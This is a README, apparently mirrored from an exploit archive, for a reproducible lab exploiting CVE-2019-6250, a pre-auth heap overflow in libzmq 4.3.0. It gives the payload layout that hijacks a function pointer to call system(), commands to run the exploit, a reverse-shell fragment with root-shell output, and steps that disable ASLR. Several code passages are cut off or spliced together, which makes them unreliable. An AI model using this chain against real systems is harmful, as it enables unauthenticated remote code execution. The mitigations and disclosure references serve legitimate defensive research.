Share
## https://sploitus.com/exploit?id=E846E535-3E5E-56FB-8C24-2D5F2C2FFB56
# CVE-2019-6250 β€” libzmq pre-auth RCE lab

[![CVE](https://img.shields.io/badge/CVE-2019--6250-red.svg)](https://nvd.nist.gov/vuln/detail/CVE-2019-6250)
[![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-critical.svg)](https://nvd.nist.gov/vuln/detail/CVE-2019-6250)
[![Affected](https://img.shields.io/badge/libzmq-≀%204.3.0-blue.svg)](https://github.com/zeromq/libzmq/pull/3353)
[![License](https://img.shields.io/badge/license-MIT-green.svg)](#license)

End-to-end working RCE chain + reproducible lab for **CVE-2019-6250**, the pre-auth heap-buffer-overflow in libzmq's `v2_decoder_t::size_ready`. A `uint64_t` pointer-arithmetic overflow lets an unauthenticated peer overwrite the adjacent `msg_t::content_t::ffn` function pointer on the ZMTP/2.0 wire path, then trigger it via TCP socket close β†’ `~v2_decoder_t()` β†’ `_in_progress.close()` β†’ `system(cmd)`.

By **Nicolas Krassas** ([@dinosn](https://github.com/dinosn)).

> **Lab use only.** This kit ships an intentionally vulnerable libzmq 4.3.0. Don't expose port 5555 outside the lab. The bug was fixed seven years ago in libzmq 4.3.1 (commit [`1a2ed127`](https://github.com/zeromq/libzmq/commit/1a2ed12716693073032d57dac4e269df3d373751)).

---

## Demo

### `system()` chain β€” file proof

![system chain](screenshots/02_system_chain.png)

### Reverse shell β€” interactive root

![reverse shell](screenshots/03_revshell.png)

### Automated end-to-end smoke test

![smoke test](screenshots/05_smoke_test.png)

---

## TL;DR (Docker)

```bash
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # & /dev/tcp/127.0.0.1/4444 0>&1"'
```

You should see something like:

```
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
```

The `cannot set terminal process group (1355844)` line confirms the shell was spawned by the libzmq target process (PID 1355844), not anything you ran locally.

---

## Repository layout

```
.
β”œβ”€β”€ README.md             # you are here
β”œβ”€β”€ server.c              # tiny PULL listener β€” the vulnerable target
β”œβ”€β”€ exploit.py            # full RCE chain
β”œβ”€β”€ setup.sh              # bare-metal provisioner (clones + builds libzmq 4.3.0)
β”œβ”€β”€ start_server.sh       # start/restart the target
β”œβ”€β”€ read_addresses.sh     # regenerate the address profile for a different image
β”œβ”€β”€ run_lab_test.sh       # automated end-to-end smoke test (CI-friendly)
β”œβ”€β”€ Dockerfile            # one-command containerised lab
└── screenshots/          # README screenshots (generated with charmbracelet/freeze)
```

---

## Mechanics

### 1. The bug

`src/v2_decoder.cpp:117` (libzmq 4.3.0):

```cpp
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //   (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path β€” _in_progress.data() == read_pos_
}
```

`msg_size_` is the attacker-controlled big-endian `uint64_t` from the ZMTP/2.0 LARGE-frame header. With `msg_size_ = 0xFFFFFFFFFFFFFFFF`, the sum `read_pos_ + msg_size_` wraps modulo 2⁢⁴ and ends up *less than* the right-hand side. The bounds check evaluates false β†’ execution falls into the zero-copy path β†’ the `_in_progress` message aliases the recv buffer. The decoder then asks the kernel for `0xFFFFFFFFFFFFFFFF` more bytes at `read_pos_`, and `recv()` happily writes our payload past the recv buffer end into the adjacent `content_t[]` array (allocated in the same `malloc()` chunk at `decoder_allocators.cpp:88`).

### 2. The chain

```
[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 Γ— 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183
```

We send 8224 payload bytes structured so that:

| payload offset | bytes | what it overwrites |
|---|---|---|
| `[0:16]`        | padding         | (in recv buffer) |
| `[16:K]`        | command string + NUL | (in recv buffer β€” `system`'s arg) |
| `[K:8183]`      | padding         | (in recv buffer) |
| `[8183:8191]`   | `read_pos+16`   | `content_t[0].data` (β†’ command) |
| `[8191:8199]`   | `0`             | `content_t[0].size` |
| `[8199:8207]`   | `&system`       | `content_t[0].ffn`  (control-flow target) |
| `[8207:8215]`   | `0`             | `content_t[0].hint` |
| `[8215:8223]`   | `0`             | `content_t[0].refcnt` |

When we close the TCP socket, the server's `~v2_decoder_t()` calls `_in_progress.close()`. In `msg_t::close`:

```cpp
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}
```

`init_external_storage` set `_u.zclmsg.flags = 0`, so the OR-shortcut takes the branch immediately β€” `refcnt` isn't even checked. Our overwritten `ffn` runs.

No ROP, no shellcode, no info-leak: just one libc symbol resolution and one inline command string.

### 3. Reaching `v2_decoder_t` pre-auth

Looking at `stream_engine.cpp:707`:

```cpp
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // /maps` |
| `system_off`       | `0x53910`        | `nm -D /lib/x86_64-linux-gnu/libc.so.6` |
| `read_pos`         | `0x7ffff000bbc1` | `_buf + sizeof(atomic_counter_t) + 9` |
| `dist_to_content`  | `8183`           | derived from layout |
| `cmd_offset`       | `16`             | where in the payload we put the command |

When porting to a different glibc / libzmq build, run `./read_addresses.sh > profile.json` after `start_server.sh`, then pass `--profile profile.json` to the exploit.

In a real-world attack you'd need either an info-leak primitive or a one-gadget call that doesn't require argument control. Both are out of scope for this lab β€” the goal here is to demonstrate the bug-to-shell pipeline cleanly, not to defeat ASLR.

---

## Mitigations

| Defence | Effect |
|---|---|
| Upgrade to libzmq β‰₯ 4.3.1 | **Fixed.** Commit `1a2ed127` rewrites the bounds check as `msg_size_ > size_t(allocator.data()+size()-read_pos_)` β€” no overflow possible. |
| `zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n))` with any positive `n` | **Mitigates.** Short-circuits the broken bounds check before it can wrap. |
| Enable ZAP authentication | **Blocks ZMTP/2.0 connections** (rejected at `stream_engine.cpp:709`). Doesn't fix the bug; just prevents the unauthenticated path. |
| ASLR | Slows down weaponisation but doesn't prevent it β€” the chain primitive itself is unaffected. |
| Stack canaries / NX / RELRO | None of these protect a heap function-pointer hijack. |

---

## Cleanup

```bash
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # restore default ASLR
```

---

## References

- [HackerOne #477073](https://hackerone.com/reports/477073) β€” original disclosure (Guido Vranken).
- [zeromq/libzmq PR #3353](https://github.com/zeromq/libzmq/pull/3353) β€” the one-line fix.
- [zeromq/libzmq issue #3351](https://github.com/zeromq/libzmq/issues/3351) β€” public discussion.
- [NVD CVE-2019-6250](https://nvd.nist.gov/vuln/detail/CVE-2019-6250).
- [37/ZMTP](https://rfc.zeromq.org/spec/37/) β€” ZeroMQ Message Transport Protocol spec.
- [SystemTek writeup](https://www.systemtek.co.uk/2019/04/zeromq-libzmq-large-msg_size_-arbitrary-code-execution-vulnerability-cve-2019-6250/).

## Author

**Nicolas Krassas** β€” [@dinosn](https://github.com/dinosn)

## License

MIT Β© Nicolas Krassas. The intentionally-vulnerable libzmq 4.3.0 source is fetched at build time from the upstream LGPLv3-with-exceptions / MPLv2 repository β€” its license applies to that code separately.

## Disclaimer

For defensive security research, education, and authorized security testing only. Do not deploy the bundled vulnerable build outside a contained lab environment.